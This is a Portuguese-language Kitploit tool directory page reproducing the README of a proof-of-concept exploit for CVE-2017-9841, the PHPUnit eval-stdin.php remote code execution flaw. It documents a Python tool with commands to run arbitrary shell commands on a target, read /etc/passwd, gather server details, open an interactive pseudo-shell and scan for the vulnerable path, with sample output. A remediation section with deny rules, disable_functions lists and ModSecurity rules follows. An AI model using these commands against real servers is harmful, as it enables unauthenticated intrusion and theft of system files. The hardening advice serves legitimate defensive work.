Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 é uma vulnerabilidade de Execução Remota de Código (RCE) na biblioteca PHPUnit que afeta versões anteriores a 5.6.3 e 6.x anteriores a 6.4.2. | Kitploit
Ferramentas/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 é uma vulnerabilidade de Execução Remota de Código (RCE) na biblioteca PHPUnit que afeta versões anteriores a 5.6.3 e 6.x anteriores a 6.4.2.

Ver Repositório
11há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2017-9841 — Prova de Conceito (PoC) de Execução Remota de Código (RCE) no PHPUnit

⚠️ AVISO: Esta ferramenta destina-se exclusivamente a fins educacionais e testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.


Visão Geral

CVE-2017-9841 é uma vulnerabilidade de Execução Remota de Código (RCE) na biblioteca PHPUnit que afeta versões anteriores a 5.6.3 e 6.x anteriores a 6.4.2.

A vulnerabilidade existe em src/Util/PHP/eval-stdin.php, que executa código PHP recebido via php://input (corpo da requisição POST) usando a função eval(). Se este arquivo estiver acessível publicamente (por exemplo, dentro de um diretório vendor/ desprotegido), um atacante pode executar código PHP arbitrário no servidor sem autenticação.

Detalhes da Vulnerabilidade

CampoValor
ID CVECVE-2017-9841
Pontuação CVSS9.8 (Crítica)
AfetadosPHPUnit < 5.6.3, 6.x < 6.4.2
TipoExecução Remota de Código (RCE)
AutenticaçãoNão necessária
VetorRede (remoto)
Publicado27 de junho de 2017
ReferênciaNVD

Código Vulnerável

// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

Este arquivo aceita código PHP vindo do corpo da requisição POST e o executa imediatamente via eval() sem qualquer autenticação ou validação.


Instalação

Requisitos

  • Python 3.6+
  • Biblioteca requests
pip install requests

Configuração

git clone <url-do-repositorio>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

Uso

Sintaxe Básica

python3 poc_cve-2017-9841.py -u <URL> [opções]

A flag -u aceita tanto uma URL base (adiciona automaticamente o caminho vulnerável) quanto uma URL completa apontando diretamente para eval-stdin.php.

1. Verificação de Vulnerabilidade (Sem Execução de Comandos)

python3 poc_cve-2017-9841.py -u 'https://target.com' --check

Saída:

[*] Alvo : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Verificando vulnerabilidade em: ...
[+] Arquivo acessível (HTTP 200)
[+] VULNERÁVEL! Execução de código confirmada.
[+] Resposta: VULN_CHECK_OK_2017_9841

2. Execução de Comandos

# Comando único
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Múltiplos comandos
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Ler um arquivo
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Salvar saída em arquivo
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o resultado.txt

3. Informações do Servidor (Somente Leitura)

python3 poc_cve-2017-9841.py -u 'https://target.com' --info

Saída:

=== INFORMAÇÕES DO SERVIDOR ===
Versão PHP  : 8.x.x
SO          : Linux
SAPI        : fpm-fcgi
Usuário     : www-data
Hostname    : web-server-01
IP Servidor : 192.168.1.100
Diretório Atual: /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Raiz do Doc : /var/www/html/
Servidor Web: Apache
Limite de Memória: 256M
Máx Exec    : 30s
Open Basedir: (nenhum)
Funções Desabilitadas: (nenhuma)

=== FUNÇÕES PERIGOSAS ===
  system: SIM
  exec: SIM
  passthru: SIM
  shell_exec: SIM
  proc_open: SIM
  popen: SIM
  curl_exec: SIM

4. Pseudo-Shell Interativo

python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

Saída:

[*] Pseudo-shell (digite 'exit' ou 'quit' para sair)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Saindo do shell.

5. Busca Automática de Caminho Vulnerável

python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. Caminho Personalizado

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. URL Completa para eval-stdin.php

python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. Executar Código PHP Bruto

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

Referência de Opções

FlagDescrição
-u, --url URLURL base do alvo ou URL completa para eval-stdin.php
-c, --cmd CMDComando de CLI a ser executado no servidor alvo
--checkVerificar se o alvo é vulnerável sem executar comandos
--shellAbrir um pseudo-shell interativo
--infoColetar informações do servidor (somente leitura)
--find-pathEscanear caminhos comuns para localizar eval-stdin.php
--path CAMINHOEspecificar um caminho personalizado para eval-stdin.php
--timeout NTempo limite da requisição em segundos (padrão: 30)
-o, --output ARQUIVOSalvar a saída do comando em um arquivo
--php CÓDIGOExecutar código PHP bruto em vez de comandos do sistema

Remediação

Ações Imediatas (Faça ISSO AGORA)

1. Excluir o Arquivo Vulnerável

sudo rm /caminho/do/projeto/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Bloquear Acesso ao Diretório Vendor

Adicione um arquivo .htaccess dentro do diretório vendor/:

# /caminho/do/projeto/vendor/.htaccess
Deny from all

Ou configure no VirtualHost do Apache:

<Directory "/caminho/do/projeto/vendor">
    Require all denied
</Directory>

Para Nginx:

location /vendor/ {
    deny all;
    return 403;
}

3. Remover Dependências de Desenvolvimento da Produção

cd /caminho/do/projeto
composer install --no-dev --optimize-autoloader

Endurecimento de Curto Prazo

4. Habilitar disable_functions no php.ini

; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. Habilitar open_basedir

; /etc/php/8.4/fpm/php.ini ou no VirtualHost
open_basedir = /var/www/html/projeto:/tmp

6. Reduzir max_execution_time

max_execution_time = 30

7. Reiniciar PHP-FPM

sudo systemctl restart php8.4-fpm
# ou
sudo systemctl restart php-fpm

Endurecimento de Longo Prazo

8. Atualizar PHPUnit

composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. Implementar Regras WAF

Exemplo ModSecurity:

SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Bloquear acesso ao diretório vendor'"

10. Endurecimento no Pipeline CI/CD

# Exemplo: GitHub Actions
- name: Instalar apenas dependências de produção
  run: composer install --no-dev --optimize-autoloader

- name: Remover arquivos de teste e scripts vulneráveis
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

Diagrama do Fluxo do Ataque

Baixar ferramenta